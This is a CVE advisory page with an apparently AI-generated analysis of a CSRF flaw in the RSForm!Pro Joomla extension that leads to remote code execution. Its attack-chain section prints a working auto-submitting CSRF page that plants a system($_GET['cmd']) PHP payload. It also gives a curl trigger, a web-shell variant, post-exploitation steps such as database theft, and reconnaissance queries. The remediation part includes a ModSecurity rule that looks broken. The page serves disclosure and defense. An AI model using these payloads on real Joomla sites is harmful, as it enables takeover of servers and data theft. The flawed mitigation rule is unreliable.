CVE Professor
/
All CVEs
CVE-2026-35224

CVE-2026-35224 — Rsjoomla.com RSForm!Pro Extension For Joomla (3. — CWE-352

HIGH CVSS 8.4 CVE.org

Joomla Extension - rsjoomla.com - Cross-site request forgery in backend tasks in RSForm!Pro extension < 3.5.0 - Multiple backend controller tasks lack anti-CSRF token checks, allowing an attacker to perform administrative actions on behalf of an authenticated backend user. As form field properties may contain PHP code evaluated by the component, this can lead to remote code execution.

Joomla Extension - rsjoomla.com - Cross-site request forgery in backend tasks in RSForm!Pro extension < 3.5.0 - Multiple backend controller tasks lack anti-CSRF token checks, allowing an attacker to perform administrative actions on behalf of an authenticated backend user. As form field properties may contain PHP code evaluated by the component, this can lead to remote code execution.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. High PR:H
User Interaction Active UI:A
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑35224 is a Cross‑Site Request Forgery (CSRF) issue that exists in the RSForm!Pro extension for Joomla (versions 3.0.0 through 3.4.10).

ComponentFlaw
Backend controller tasks (e.g. saveForm, deleteForm, publishForm, importForm, exportSubmissions, etc.)The HTTP handlers do not verify the Joomla anti‑CSRF token (X‑Joomla‑Token / csrf_token) that Joomla normally injects into every backend form. Consequently, any request that reaches the controller is accepted as long as the user is already authenticated in the Joomla administrator area.
Form‑field property handlingRSForm!Pro allows administrators to store arbitrary PHP code in certain field properties (e.g. *Default Value*, *Custom Validation*, *Pre‑process PHP*). The component evaluates that code at runtime using eval() or include. If an attacker can inject PHP into a field property, the code will be executed with the web‑server’s privileges.

Why it is a CSRF + RCE combo

  • The missing token check means an attacker can force an already‑logged‑in administrator (or any privileged backend user) to perform a state‑changing action simply by loading a malicious page.
  • By chaining the CSRF to a form‑creation or field‑update operation, the attacker can plant PHP code inside a field property. When the form is later displayed or processed, that code runs on the server, giving remote code execution (RCE).
  • The vulnerability maps to CWE‑352 (Cross‑Site Request Forgery), but the secondary impact (execution of attacker‑controlled PHP) elevates the overall severity to CVSS 4.0 Score 8.4 (HIGH).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All request examples are illustrative – the exact URI/parameter names are derived from the public source code of RSForm!Pro 3.x, but they may differ slightly in a given installation.

    1. Discovery & Reconnaissance

    StepTechniqueGoal
    a. Identify Joomla siteScan common Joomla paths (/administrator/, /templates/, /media/) and look for the rsform component (/administrator/components/com_rsform/).Confirm the target runs Joomla.
    b. Fingerprint RSForm!Pro versionRequest administrator/components/com_rsform/rsform.xml (the component manifest) or check the HTML comment <!-- RSForm!Pro 3.4.7 --> that appears in the backend UI.Verify the version falls in the vulnerable range (3.0.0‑3.4.10).
    c. Locate an authenticated adminEither obtain credentials (phishing, credential stuffing) or rely on a low‑privilege admin that can still create/modify forms (the CVSS vector requires PR:H, i.e., a privileged user).Needed because the CSRF only works for logged‑in administrators.

    2. Exploitation

    2.1. Build the malicious CSRF payload

    The attacker crafts an HTML page that automatically submits a POST request to the vulnerable controller. The request omits the CSRF token, which the backend will not reject.

    <!DOCTYPE html>
    <html>
    <head><title>CSRF Exploit</title></head>
    <body>
    <form id="exploit" method="post"
          action="https://victim.example.com/administrator/index.php?option=com_rsform&task=form.save">
        <!-- Required fields for a new form -->
        <input type="hidden" name="formId" value="0"> <!-- 0 = new form -->
        <input type="hidden" name="FormName" value="pwned">
        <input type="hidden" name="FormLayout" value="default">
    
        <!-- Inject PHP into a field property (e.g., Default Value) -->
        <input type="hidden" name="Fields[0][FieldName]" value="exploit">
        <input type="hidden" name="Fields[0][FieldType]" value="text">
        <input type="hidden" name="Fields[0][DefaultValue]" value="<?php system($_GET['cmd']); ?>">
        <!-- The above is stored in the DB and later eval()'d -->
    
        <!-- Submit automatically -->
        <script>document.getElementById('exploit').submit();</script>
    </form>
    </body>
    </html>

    The form posts to the form.save task of the com_rsform component. The exact task name (form.save, form.apply, etc.) may vary; any task that writes a form definition to the database is vulnerable.

    2.2. Deliver the CSRF page

    The attacker hosts the HTML page on a domain they control and lures the privileged Joomla administrator to visit it (e.g., via a phishing email, malicious link in a forum, or an infected internal web page). Because the administrator already has a valid session cookie (joomla_user_state), the request is authenticated.

    2.3. Trigger RCE

    Once the malicious form is stored, the attacker can execute arbitrary commands by requesting the front‑end form with the injected cmd parameter:

    curl "https://victim.example.com/index.php?option=com_rsform&formId=123&cmd=id"

    The RSForm!Pro front‑end renderer evaluates the DefaultValue PHP code, which runs system($_GET['cmd']). The response will contain the command output (e.g., uid=33(www-data) gid=33(www-data) groups=33).

    Alternative post‑exploitation payloads

  • Upload a web‑shell by setting DefaultValue to <?php eval($_POST['a']); ?>.

  • Write a cron entry or modify configuration.php if the PHP code has file‑system write privileges.
  • 3. Post‑exploitation

    GoalTypical technique
    Full system compromiseUse the RCE to drop a persistent PHP web‑shell (e.g., shell.php) in the Joomla templates/ directory, then interact with the server at will.
    Data exfiltrationExecute mysqldump or read configuration.php to steal DB credentials, then pull the entire Joomla database.
    Privilege escalationIf the web‑server runs as a low‑privileged user, the attacker can pivot to the underlying OS using known local exploits or by abusing mis‑configured sudoers (outside the scope of the CVE).
    Defacement / service disruptionOverwrite template files or inject malicious JavaScript into the site’s front‑end.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (VC:H)VC:H – The attacker can read arbitrary files (e.g., configuration.php, DB dumps) via RCE.Exposure of user data, admin credentials, API keys.
    Integrity (VI:H)VI:H – The attacker can modify files, inject malicious PHP, or alter form definitions.Persistent backdoors, defacement, injection of malicious code into legitimate pages.
    Availability (VA:H)VA:H – The attacker can delete or corrupt files, or cause fatal PHP errors.Site downtime, loss of service, potential ransomware drop‑in.
    Scope (SC:N)No privilege escalation beyond the compromised web‑application process.
    User Interaction (UI:A)Requires the victim (admin) to load a malicious page – typical for CSRF.

    Overall, an attacker who can obtain or coerce a privileged Joomla admin session can achieve remote code execution with the web‑server’s privileges, which in most shared‑hosting or containerised environments translates to full compromise of the web host.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade RSForm!ProMove to RSForm!Pro 3.5.0 or later. The vendor added proper CSRF token validation to all backend controller tasks and removed the unsafe eval() path for field properties.
    Apply Joomla core updatesEnsure Joomla core is at least 4.2.0 (or the latest 3.x LTS) because newer core versions include stricter token handling that can mitigate similar issues.
    Verify component versionAfter upgrade, confirm the manifest (administrator/components/com_rsform/rsform.xml) reports version ≥ 3.5.0.

    2. Immediate Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Enforce CSRF token validation at the web‑server levelAdd a ModSecurity rule that blocks POST/GET requests to administrator/index.php with the option=com_rsform parameter unless the request contains a valid X-Joomla-Token header (or the csrf_token POST field). Example rule:
    ``apacheconf\nSecRule REQUEST_URI "@beginsWith /administrator/index.php" "chain,phase:2,deny,status:403,msg:'RSForm!Pro CSRF protection',id:2026001"\nSecRule ARGS:option "^com_rsform$" "t:none"\nSecRule &ARGS:csrf_token "@eq 0" "t:none,ctl:ruleEngine=Off"\n`
    Restrict backend access by IPConfigure the web server (or a WAF) to allow the Joomla administrator interface only from known corporate IP ranges.
    Disable PHP evaluation in form fieldsIn the RSForm!Pro backend, go to Configuration → Advanced → PHP in fields and set “Allow PHP in field properties” to No. This removes the secondary RCE vector even if CSRF succeeds.
    Set session.cookie_httponly and SameSite=StrictHardening the session cookie reduces the chance that an attacker can force the admin’s browser to send the cookie to a malicious third‑party site.
    Content‑Security‑Policy (CSP)Deploy a CSP that disallows eval()` and inline scripts for the admin domain, limiting the impact of any injected PHP that tries to output JavaScript.

    3. Detection – Log & IOC Guidance

    IndicatorWhere to lookExample
    POST/GET to option=com_rsform without CSRF tokenApache/Nginx access logs (access_log)POST /administrator/index.php?option=com_rsform&task=form.save HTTP/1.1" 200 1234 "-" "Mozilla/5.0" and no csrf_token parameter in the request body.
    Creation or update of a form containing <?phpJoomla database (#__rsform_forms or #__rsform_fields)SELECT * FROM jos_rsform_fields WHERE DefaultValue LIKE '%<?php%';
    Unexpected cmd parameter usageWeb‑app logs or WAF alertsGET /index.php?option=com_rsform&formId=12&cmd=whoami HTTP/1.1
    Outbound connections from the web‑server to unknown hostsHost‑based IDS (e.g., OSSEC) or netflowOutbound TCP 45.33.32.12:443 shortly after a form is saved.
    File creation in writable Joomla directoriesFile integrity monitoring (Tripwire, OSSEC)New file /templates/protostar/html/com_rsform/shell.php created within minutes of a CSRF event.

    Alerting suggestion – Correlate a CSRF‑like request (no token) with a subsequent DB change that inserts <?php into a field. This pattern is highly indicative of exploitation.


    ⚠️ Urgency

  • CVSS 8.4 (HIGH) – The vulnerability scores high on impact (confidentiality, integrity, availability) and low on exploitability (network‑accessible, low complexity).
  • Privileges required (PR:H) – An attacker must have a privileged Joomla admin session. In many organizations, admin credentials are shared among several staff members, making credential exposure plausible.
  • User interaction (UI:A) – Requires the admin to load a malicious page, which is trivial via phishing or compromised internal sites.
  • No public exploit or CISA KEV listing – The vulnerability is newly disclosed (02‑Dec‑2026) and not yet widely patched, increasing the window of exposure.
Patch priority: Critical – apply the vendor‑provided update (≥ 3.5.0) within 48 hours for all production Joomla installations that use RSForm!Pro. If immediate upgrade is impossible, implement the workarounds above and monitor for the listed IoCs aggressively.
Bottom line: CVE‑2026‑35224 lets an attacker who can lure a Joomla administrator into visiting a crafted page create or modify RSForm!Pro forms with malicious PHP, resulting in remote code execution. The fix is straightforward—upgrade to RSForm!Pro 3.5.0 or later and enforce CSRF token checks. Until then, apply the mitigation steps and monitor logs for the characteristic CSRF‑without‑token and PHP‑in‑field patterns.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Joomla!"
CVSS Score
8.4 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
rsjoomla.com:RSForm!Pro extension for Joomla (3.0.0-3.4.10)
References & Advisories (2)
Related CVEs
8.6
CVE-2026-144588
turbo-graph 2.8.9 before 3.0.0 contains a cross-site request forgery vulnerability that allows malicious web p
8.1
CVE-2026-137449
Cross-Site request forgery (CSRF) vulnerability in DivvyDrive Bilişim Teknolojileri A.Ş. DivvyDrive allows C
5.4
CVE-2026-145159
Decap CMS before 3.19.0 contains a login cross-site request forgery vulnerability in validateNonce() that allo
5.3
CVE-2026-136365
Joomla Extension - joomboost.com - CSRF in administrator maintenance tasks in JoomMedia extension 1.0.0-6.1.5
5.3
CVE-2026-136377
Joomla Extension - joomboost.com - Missing authorization and CSRF checks in frontend and backend actions in Jo
5.3
CVE-2026-145048
Frappe HRMS 15.0.0 before 15.64.1 and 16.0.0 before 16.18.1 contains a cross-site request forgery vulnerabilit
5.1
CVE-2026-136371
Joomla Extension - joomboost.com - Missing ACL and CSRF checks in administrator actions in JoomInvoice extensi